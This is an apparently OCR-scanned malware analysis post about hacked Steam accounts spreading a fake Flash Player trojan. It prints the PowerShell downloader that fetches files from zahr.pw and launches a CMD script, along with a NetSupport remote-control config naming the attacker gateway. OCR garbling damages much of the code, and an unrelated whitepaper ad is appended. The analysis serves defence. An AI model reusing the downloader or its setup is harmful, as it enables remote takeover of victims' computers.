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Yesterday, I stumbled on a post where a Reddit user named Haydaddict was alerting people about some hacked
Steam accounts spreading malware. As I am always interested in new malware, I took a look to see what could be

discovered.

According to the post, the hacked accounts were being used to SPAM suspicious links using Steam chat. These chat

messages would tell the recipient to go to videomeo.pw to watch a video.

®® Quinn Lobdell >

Tq

lol
- found your video
oll: hitp:/fvideomeo.pw/292051099
D
|: you are famous now haha

about ur ace

Steam Chats

When the target went to the page, they would be greeted with a message stating that they needed to update Flash Player in

order to watch the video.
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Fake Video Page

If a target downloads the installer and executes it, they will find that it does not appear to do anything. This is because the
Flash Player installer is actually a Trojan that executes a PowerShell script called zaga.ps1, which will download a 7-

zip archive, 7-zip extractor, and a CMD script from the zahr.pw server.
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File Edit View Settings 1
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1\$checkF'i1e = Test-Path "$env:APPDATA/gzf.bin"
z if ($checkrile) {exit}
21 > "$env:APPDATA/gzf.bin"
4 $down = New-Object System.Net.webClient

s furlt =" zahr. pw/sh/7sh";

s%uriz = //zahr. pw/sh/sharchivedmngr"”;
7 $urla = ://zahr. pw/sh/shlapsizeof";

g $Tilel = "$env:APPDATA/7sh. exe";

3 $file2 = "S$env:APPDATA/sharchivedmngr”;

10 $file3 = "$env:APPDATA/shlapsizeof. cmd”;

11 $down. DownloadFile($urlli,sfilel);

12 $down. DownloadFile($url2,5file2);

12 $down. DownloadFile($url13,$file3);

14 $exec — New-Object —com shell.application

15 $exec.shellexecute($file3, "", "", "open”, 0);
16
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Zaga.ps1 PowerShell Script

Once the files are downloaded, the PowerShell script will then launch the CMD file, which will extract the
sharchivedmngr to the % AppData% \lappclimtfldr folder and configure Windows to automatically start

the mertvclient.exe program when a user logs in. This program is actually a renamed copy of the NetSupport Manager

Remote Control Software.

When the program is launched, it will connect to the NetSupport gateway at leyv.pw:11678 and await commands. This

allows the attacker to remotely connect to the infected computer and take control over it.
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) client32.ini - Notepad2 (Administrator) = |
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1 0x75ac2bef =
2
z [cTient]

4 _present=1
= Disablechat=1
& DisablechatMenu=1
7 DisableCloseapps=0
2z DisablePrintCapture=1
3 DisableReguestHelp=1
10 HidewhenIdle=1
11 Protocols=2,3
1z RoomSpec=Eval
13 silent=1
14 505_Alt=0
15 505_Lshift=0
16 S05_Rshift=0
17 SysTray=0
18 UnloadMirrorondisconnect=0
13 Usernames=%*
20
21 [_Info]
2z Filename=C:\Program Files‘\NetSupport'Netsupport Manager‘client32.ini
23
24 [_License]
25 quiet=1
26
27 [Audio]
28 Disableaudiorilter=1
29
a0 [Bridge]
31 Modem=RAS PPPOE Line0000
2

m

[General]
BeepuUsingspeaker=0
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37 GatewayAddress=Teyv. pw:11678

38 GSK=EQ:0>CCE9D=KALFP; E>BEBCEFIN=N70
39 Port=11678
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NetManager Configuration File

For those who are concerned they are infected with this Steam Trojan, I suggest they check the %AppData% folder for the

specified folders.

Furthermore, all users must be careful with what links they visit and what downloads they install. These days it is becoming
more and more frequent for accounts to be hacked and then for attackers to use them to distribute malware. Stay vigilant, be

careful, and make sure you have an antivirus software installed.
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The Validation Gap:
What Automated
Pentesting Alone

Cannot See

A Prac

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.
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